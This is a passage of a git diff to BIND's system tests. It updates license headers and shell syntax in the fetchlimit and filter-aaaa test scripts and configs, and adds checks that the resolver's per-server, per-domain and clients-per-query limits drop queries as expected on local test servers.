+a.root-servers.nil.	 IN A	10.53.0.1
diff --git a/bin/tests/system/fetchlimit/setup.sh b/bin/tests/system/fetchlimit/setup.sh
index 067d9a5ad7..f98749bc75 100644
--- a/bin/tests/system/fetchlimit/setup.sh
+++ b/bin/tests/system/fetchlimit/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -14,3 +16,4 @@
 copy_setports ns1/named.conf.in ns1/named.conf
 copy_setports ns2/named.conf.in ns2/named.conf
 copy_setports ns3/named1.conf.in ns3/named.conf
+copy_setports ns5/named1.conf.in ns5/named.conf
diff --git a/bin/tests/system/fetchlimit/tests.sh b/bin/tests/system/fetchlimit/tests.sh
index fb6ecd0d7b..2448184ce2 100644
--- a/bin/tests/system/fetchlimit/tests.sh
+++ b/bin/tests/system/fetchlimit/tests.sh
@@ -1,172 +1,221 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGCMD="$DIG @10.53.0.3 -p ${PORT} +tcp +tries=1 +time=1"
-RNDCCMD="$RNDC -p ${CONTROLPORT} -s 10.53.0.3 -c ../common/rndc.conf"
+
+rndccmd() (
+    "$RNDC" -c ../common/rndc.conf -p "${CONTROLPORT}" -s "$@"
+)
 
 burst() {
-    num=${3:-20}
+    server=${1}
+    num=${4:-20}
     rm -f burst.input.$$
     while [ $num -gt 0 ]; do
-        num=`expr $num - 1`
-        echo "${num}${1}${2}.lamesub.example A" >> burst.input.$$
+        num=$((num-1))
+        if [ "${5}" = "dup" ]; then
+            # burst with duplicate queries
+            echo "${2}${3}.lamesub.example A" >> burst.input.$$
+        else
+            # burst with unique queries
+            echo "${num}${2}${3}.lamesub.example A" >> burst.input.$$
+        fi
     done
-    $PERL ../ditch.pl -p ${PORT} -s 10.53.0.3 burst.input.$$
+    $PERL ../ditch.pl -p ${PORT} -s ${server} burst.input.$$
     rm -f burst.input.$$
 }
 
 stat() {
-    clients=`$RNDCCMD status | grep "recursive clients" | 
-            sed 's;.*: \([^/][^/]*\)/.*;\1;'`
+    clients=$(rndccmd ${1} status | grep "recursive clients" |
+            sed 's;.*: \([^/][^/]*\)/.*;\1;')
     echo_i "clients: $clients"
     [ "$clients" = "" ] && return 1
-    [ "$clients" -le $1 ]
+    [ "$clients" -ge $2 ] || return 1
+    [ "$clients" -le $3 ] || return 1
+    return 0
 }
 
+_wait_for_message() (
+	nextpartpeek "$1" > wait_for_message.$n
+	grep -F "$2" wait_for_message.$n >/dev/null
+)
+
+wait_for_message() (
+	retry_quiet 20 _wait_for_message "$@"
+)
+
+n=0
 status=0
 
-echo_i "checking recursing clients are dropped at the per-server limit"
+n=$((n + 1))
+echo_i "checking recursing clients are dropped at the per-server limit ($n)"
 ret=0
 # make the server lame and restart
-$RNDCCMD flush
+rndccmd 10.53.0.3 flush
 touch ans4/norespond
 for try in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20; do
-    burst a $try
+    burst 10.53.0.3 a $try
     # fetches-per-server is at 400, but at 20qps against a lame server,
     # we'll reach 200 at the tenth second, and the quota should have been
-    # tuned to less than that by then
-    stat 200 || ret=1
+    # tuned to less than that by then.
+    [ $try -le 5 ] && low=$((try*10))
+    stat 10.53.0.3 20 200 || ret=1
     [ $ret -eq 1 ] && break
     sleep 1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-echo_i "dumping ADB data"
-$RNDCCMD dumpdb -adb
-info=`grep '10.53.0.4' ns3/named_dump.db | sed 's/.*\(atr [.0-9]*\).*\(quota [0-9]*\).*/\1 \2/'`
+n=$((n + 1))
+echo_i "dumping ADB data ($n)"
+ret=0
+info=$(rndccmd 10.53.0.3 fetchlimit | grep 10.53.0.4 | sed 's/.*quota .*(\([0-9]*\).*atr \([.0-9]*\).*/\2 \1/')
 echo_i $info
 set -- $info
-quota=$5
-[ ${5:-200} -lt 200 ] || ret=1
+quota=$2
+[ ${quota:-200} -lt 200 ] || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
-echo_i "checking servfail statistics"
+n=$((n + 1))
+echo_i "checking servfail statistics ($n)"
 ret=0
 rm -f ns3/named.stats
-$RNDCCMD stats
+rndccmd 10.53.0.3 stats
 for try in 1 2 3 4 5; do
     [ -f ns3/named.stats ] && break
     sleep 1
 done
-sspill=`grep 'spilled due to server' ns3/named.stats | sed 's/\([0-9][0-9]*\) spilled.*/\1/'`
+sspill=$(grep 'spilled due to server' ns3/named.stats | sed 's/\([0-9][0-9]*\) spilled.*/\1/')
 [ -z "$sspill" ] && sspill=0
-fails=`grep 'queries resulted in SERVFAIL' ns3/named.stats | sed 's/\([0-9][0-9]*\) queries.*/\1/'`
+fails=$(grep 'queries resulted in SERVFAIL' ns3/named.stats | sed 's/\([0-9][0-9]*\) queries.*/\1/')
 [ -z "$fails" ] && fails=0
 [ "$fails" -ge "$sspill" ] || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-echo_i "checking lame server recovery"
+n=$((n + 1))
+echo_i "checking lame server recovery ($n)"
 ret=0
-rm -f ans4/norespond
+test -f ans4/norespond && rm -f ans4/norespond
 for try in 1 2 3 4 5; do
-    burst b $try
-    stat 200 || ret=1
+    burst 10.53.0.3 b $try
+    stat 10.53.0.3 0 200 || ret=1
     [ $ret -eq 1 ] && break
     sleep 1
 done
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
-echo_i "dumping ADB data"
-$RNDCCMD dumpdb -adb
-info=`grep '10.53.0.4' ns3/named_dump.db | sed 's/.*\(atr [.0-9]*\).*\(quota [0-9]*\).*/\1 \2/'`
+n=$((n + 1))
+echo_i "dumping ADB data ($n)"
+ret=0
+info=$(rndccmd 10.53.0.3 fetchlimit | grep 10.53.0.4 | sed 's/.*quota .*(\([0-9]*\).*atr \([.0-9]*\).*/\2 \1/')
 echo_i $info
 set -- $info
-[ ${5:-${quota}} -lt $quota ] || ret=1
-quota=$5
+[ ${2:-${quota}} -lt $quota ] || ret=1
+quota=$2
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
+n=$((n + 1))
+echo_i "checking lame server recovery (continued) ($n)"
+ret=0
 for try in 1 2 3 4 5 6 7 8 9 10; do
-    burst c $try
-    stat 20 || ret=1
+    burst 10.53.0.3 c $try
+    stat 10.53.0.3 0 20 || ret=1
     [ $ret -eq 1 ] && break
     sleep 1
 done
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
-echo_i "dumping ADB data"
-$RNDCCMD dumpdb -adb
-info=`grep '10.53.0.4' ns3/named_dump.db | sed 's/.*\(atr [.0-9]*\).*\(quota [0-9]*\).*/\1 \2/'`
+n=$((n + 1))
+echo_i "dumping ADB data ($n)"
+ret=0
+info=$(rndccmd 10.53.0.3 fetchlimit | grep 10.53.0.4 | sed 's/.*quota .*(\([0-9]*\).*atr \([.0-9]*\).*/\2 \1/')
 echo_i $info
 set -- $info
-[ ${5:-${quota}} -gt $quota ] || ret=1
-quota=$5
+[ ${2:-${quota}} -gt $quota ] || ret=1
+quota=$2
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
 copy_setports ns3/named2.conf.in ns3/named.conf
 rndc_reconfig ns3 10.53.0.3
 
-echo_i "checking lame server clients are dropped at the per-domain limit"
+n=$((n + 1))
+echo_i "checking lame server clients are dropped at the per-domain limit ($n)"
 ret=0
 fail=0
 success=0
 touch ans4/norespond
 for try in 1 2 3 4 5; do
-    burst b $try 300
-    $DIGCMD a ${try}.example > dig.out.ns3.$try
-    grep "status: NOERROR" dig.out.ns3.$try > /dev/null 2>&1 && \
-            success=`expr $success + 1`
-    grep "status: SERVFAIL" dig.out.ns3.$try > /dev/null 2>&1 && \
-            fail=`expr $fail + 1`
-    stat 50 || ret=1
+    burst 10.53.0.3 b $try 300
+    $DIGCMD a ${try}.example > dig.out.ns3.$n.$try
+    grep "status: NOERROR" dig.out.ns3.$n.$try > /dev/null 2>&1 && \
+            success=$((success+1))
+    grep "status: SERVFAIL" dig.out.ns3.$n.$try > /dev/null 2>&1 && \
+            fail=$(($fail+1))
+    stat 10.53.0.3 40 40 || ret=1
+    allowed=$(rndccmd 10.53.0.3 fetchlimit | awk '/lamesub/ { print $6 }')
+    [ "${allowed:-0}" -eq 40 ] || ret=1
     [ $ret -eq 1 ] && break
-    $RNDCCMD recursing 2>&1 | sed 's/^/ns3 /' | cat_i
     sleep 1
 done
 echo_i "$success successful valid queries, $fail SERVFAIL"
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-echo_i "checking drop statistics"
+n=$((n + 1))
+echo_i "checking drop statistics ($n)"
+ret=0
 rm -f ns3/named.stats
-$RNDCCMD stats
+rndccmd 10.53.0.3 stats
 for try in 1 2 3 4 5; do
     [ -f ns3/named.stats ] && break
     sleep 1
 done
-zspill=`grep 'spilled due to zone' ns3/named.stats | sed 's/\([0-9][0-9]*\) spilled.*/\1/'`
+zspill=$(grep 'spilled due to zone' ns3/named.stats | sed 's/\([0-9][0-9]*\) spilled.*/\1/')
 [ -z "$zspill" ] && zspill=0
-drops=`grep 'queries dropped' ns3/named.stats | sed 's/\([0-9][0-9]*\) queries.*/\1/'`
+drops=$(grep 'queries dropped' ns3/named.stats | sed 's/\([0-9][0-9]*\) queries.*/\1/')
 [ -z "$drops" ] && drops=0
 [ "$drops" -ge "$zspill" ] || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
 copy_setports ns3/named3.conf.in ns3/named.conf
 rndc_reconfig ns3 10.53.0.3
 
-echo_i "checking lame server clients are dropped below the hard limit"
+n=$((n + 1))
+echo_i "checking lame server clients are dropped below the hard limit ($n)"
 ret=0
 fail=0
 exceeded=0
 success=0
 touch ans4/norespond
 for try in 1 2 3 4 5; do
-    burst b $try 400
-    $DIGCMD a ${try}.example > dig.out.ns3.$try
-    stat 400 || exceeded=`expr $exceeded + 1`
-    grep "status: NOERROR" dig.out.ns3.$try > /dev/null 2>&1 && \
-            success=`expr $success + 1`
-    grep "status: SERVFAIL" dig.out.ns3.$try > /dev/null 2>&1 && \
-            fail=`expr $fail + 1`
+    burst 10.53.0.3 b $try 400
+    $DIGCMD +time=2 a ${try}.example > dig.out.ns3.$n.$try
+    stat 10.53.0.3 1 400 || exceeded=$((exceeded + 1))
+    grep "status: NOERROR" dig.out.ns3.$n.$try > /dev/null 2>&1 && \
+            success=$((success+1))
+    grep "status: SERVFAIL" dig.out.ns3.$n.$try > /dev/null 2>&1 && \
+            fail=$(($fail+1))
     sleep 1
 done
 echo_i "$success successful valid queries (expected 5)"
@@ -176,19 +225,99 @@ echo_i "$fail SERVFAIL responses (expected 0)"
 echo_i "clients count exceeded 400 on $exceeded trials (expected 0)"
 [ "$exceeded" -eq 0 ] || { echo_i "failed"; ret=1; }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-echo_i "checking drop statistics"
+n=$((n + 1))
+echo_i "checking drop statistics ($n)"
+ret=0
 rm -f ns3/named.stats
-$RNDCCMD stats
+touch ns3/named.stats
+rndccmd 10.53.0.3 stats
+wait_for_log 5 "queries dropped due to recursive client limit" ns3/named.stats || ret=1
+drops=$(grep 'queries dropped due to recursive client limit' ns3/named.stats | sed 's/\([0-9][0-9]*\) queries.*/\1/')
+[ "${drops:-0}" -ne 0 ] || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+nextpart ns5/named.run >/dev/null
+
+n=$((n + 1))
+echo_i "checking clients are dropped at the clients-per-query limit ($n)"
+ret=0
+test -f ans4/norespond && rm -f ans4/norespond
 for try in 1 2 3 4 5; do
-    [ -f ns3/named.stats ] && break
+    burst 10.53.0.5 latency $try 20 "dup"
     sleep 1
 done
-drops=`grep 'queries dropped due to recursive client limit' ns3/named.stats | sed 's/\([0-9][0-9]*\) queries.*/\1/'`
-[ "${drops:-0}" -ne 0 ] || ret=1
+wait_for_message ns5/named.run "clients-per-query increased to 10" || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n + 1))
+echo_i "checking drop statistics ($n)"
+ret=0
+rm -f ns5/named.stats
+rndccmd 10.53.0.5 stats
+for try in 1 2 3 4 5; do
+    [ -f ns5/named.stats ] && break
+    sleep 1
+done
+zspill=$(grep 'spilled due to clients per query' ns5/named.stats | sed 's/ *\([0-9][0-9]*\) spilled.*/\1/')
+[ -z "$zspill" ] && zspill=0
+# ns5 configuration:
+#   clients-per-query 5
+#   max-clients-per-query 10
+# expected spills:
+#   15 (out of 20) spilled for the first burst, and 10 (out of 20) spilled for
+#   the next 4 bursts (because of auto-tuning): 15 + (4 * 10) == 55
+expected=55
+[ "$zspill" -eq "$expected" ] || ret=1
+echo_i "$zspill clients spilled (expected $expected)"
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "stop ns5"
+stop_server --use-rndc --port ${CONTROLPORT} ns5
+copy_setports ns5/named2.conf.in ns5/named.conf
+echo_i "start ns5"
+start_server --noclean --restart --port ${PORT} ns5
+
+nextpart ns5/named.run >/dev/null
+
+n=$((n + 1))
+echo_i "checking clients are dropped at the clients-per-query limit with stale-answer-client-timeout ($n)"
+ret=0
+test -f ans4/norespond && rm -f ans4/norespond
+for try in 1 2 3 4 5; do
+    burst 10.53.0.5 latency $try 20 "dup"
+    sleep 1
+done
+wait_for_message ns5/named.run "clients-per-query increased to 10" || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n + 1))
+echo_i "checking drop statistics ($n)"
+ret=0
+rm -f ns5/named.stats
+rndccmd 10.53.0.5 stats
+for try in 1 2 3 4 5; do
+    [ -f ns5/named.stats ] && break
+    sleep 1
+done
+zspill=$(grep 'spilled due to clients per query' ns5/named.stats | sed 's/ *\([0-9][0-9]*\) spilled.*/\1/')
+[ -z "$zspill" ] && zspill=0
+# ns5 configuration:
+#   clients-per-query 5
+#   max-clients-per-query 10
+# expected spills:
+#   15 (out of 20) spilled for the first burst, and 10 (out of 20) spilled for
+#   the next 4 bursts (because of auto-tuning): 15 + (4 * 10) == 55
+expected=55
+[ "$zspill" -eq "$expected" ] || ret=1
+echo_i "$zspill clients spilled (expected $expected)"
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/fetchlimit/tests_sh_fetchlimit.py b/bin/tests/system/fetchlimit/tests_sh_fetchlimit.py
new file mode 100644
index 0000000000..6df4441b91
--- /dev/null
+++ b/bin/tests/system/fetchlimit/tests_sh_fetchlimit.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_fetchlimit(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/filter-aaaa/clean.sh b/bin/tests/system/filter-aaaa/clean.sh
index 7f0748e990..b7a2372e00 100644
--- a/bin/tests/system/filter-aaaa/clean.sh
+++ b/bin/tests/system/filter-aaaa/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/filter-aaaa/conf/bad1.conf b/bin/tests/system/filter-aaaa/conf/bad1.conf
index e09f27e6f3..e498c19dd4 100644
--- a/bin/tests/system/filter-aaaa/conf/bad1.conf
+++ b/bin/tests/system/filter-aaaa/conf/bad1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/filter-aaaa/conf/bad2.conf b/bin/tests/system/filter-aaaa/conf/bad2.conf
index bc22c3a9e7..fcb972abb1 100644
--- a/bin/tests/system/filter-aaaa/conf/bad2.conf
+++ b/bin/tests/system/filter-aaaa/conf/bad2.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/filter-aaaa/conf/bad3.conf b/bin/tests/system/filter-aaaa/conf/bad3.conf
index 9d4aa9a6fd..5f77361f5a 100644
--- a/bin/tests/system/filter-aaaa/conf/bad3.conf
+++ b/bin/tests/system/filter-aaaa/conf/bad3.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/filter-aaaa/conf/bad4.conf b/bin/tests/system/filter-aaaa/conf/bad4.conf
index 2db334c815..4a37e6418c 100644
--- a/bin/tests/system/filter-aaaa/conf/bad4.conf
+++ b/bin/tests/system/filter-aaaa/conf/bad4.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/filter-aaaa/conf/bad5.conf b/bin/tests/system/filter-aaaa/conf/bad5.conf
index 7aa2633e58..eee2336627 100644
--- a/bin/tests/system/filter-aaaa/conf/bad5.conf
+++ b/bin/tests/system/filter-aaaa/conf/bad5.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/filter-aaaa/conf/good1.conf b/bin/tests/system/filter-aaaa/conf/good1.conf
index d1b26c55d4..c330d866d4 100644
--- a/bin/tests/system/filter-aaaa/conf/good1.conf
+++ b/bin/tests/system/filter-aaaa/conf/good1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/filter-aaaa/conf/good2.conf b/bin/tests/system/filter-aaaa/conf/good2.conf
index fb9073a0fc..aa3c9a52b3 100644
--- a/bin/tests/system/filter-aaaa/conf/good2.conf
+++ b/bin/tests/system/filter-aaaa/conf/good2.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/filter-aaaa/conf/good3.conf b/bin/tests/system/filter-aaaa/conf/good3.conf
index 4021d34e1e..26e50f5334 100644
--- a/bin/tests/system/filter-aaaa/conf/good3.conf
+++ b/bin/tests/system/filter-aaaa/conf/good3.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/filter-aaaa/conf/good4.conf b/bin/tests/system/filter-aaaa/conf/good4.conf
index 0cdb747c21..b646c8d668 100644
--- a/bin/tests/system/filter-aaaa/conf/good4.conf
+++ b/bin/tests/system/filter-aaaa/conf/good4.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/filter-aaaa/conf/good5.conf b/bin/tests/system/filter-aaaa/conf/good5.conf
index 0c2cd6e52c..260fdf111c 100644
--- a/bin/tests/system/filter-aaaa/conf/good5.conf
+++ b/bin/tests/system/filter-aaaa/conf/good5.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/filter-aaaa/ns1/named1.conf.in b/bin/tests/system/filter-aaaa/ns1/named1.conf.in
index 6996b9601c..f5f0905512 100644
--- a/bin/tests/system/filter-aaaa/ns1/named1.conf.in
+++ b/bin/tests/system/filter-aaaa/ns1/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -32,7 +34,7 @@ plugin query "../../../../plugins/.libs/filter-aaaa.so" {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/filter-aaaa/ns1/named2.conf.in b/bin/tests/system/filter-aaaa/ns1/named2.conf.in
index 7fcaec11e5..3152f96f0e 100644
--- a/bin/tests/system/filter-aaaa/ns1/named2.conf.in
+++ b/bin/tests/system/filter-aaaa/ns1/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -30,7 +32,7 @@ plugin query "../../../../plugins/.libs/filter-aaaa.so" {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/filter-aaaa/ns1/root.db b/bin/tests/system/filter-aaaa/ns1/root.db
index 6a4f832910..150aa72eb5 100644
--- a/bin/tests/system/filter-aaaa/ns1/root.db
+++ b/bin/tests/system/filter-aaaa/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/filter-aaaa/ns1/sign.sh b/bin/tests/system/filter-aaaa/ns1/sign.sh
index 28106ed474..bf6f458162 100755
--- a/bin/tests/system/filter-aaaa/ns1/sign.sh
+++ b/bin/tests/system/filter-aaaa/ns1/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -20,7 +22,7 @@ outfile=signed.db.signed
 
 $KEYGEN -a $DEFAULT_ALGORITHM $zone 2>&1 > /dev/null | cat_i
 $KEYGEN -f KSK -a $DEFAULT_ALGORITHM $zone 2>&1 > keygen.out | cat_i
-keyname=`cat keygen.out`
+keyname=$(cat keygen.out)
 rm -f keygen.out
 
 keyfile_to_static_ds $keyname > trusted.conf
diff --git a/bin/tests/system/filter-aaaa/ns1/signed.db.in b/bin/tests/system/filter-aaaa/ns1/signed.db.in
index 31dda5712e..36a037316d 100644
--- a/bin/tests/system/filter-aaaa/ns1/signed.db.in
+++ b/bin/tests/system/filter-aaaa/ns1/signed.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
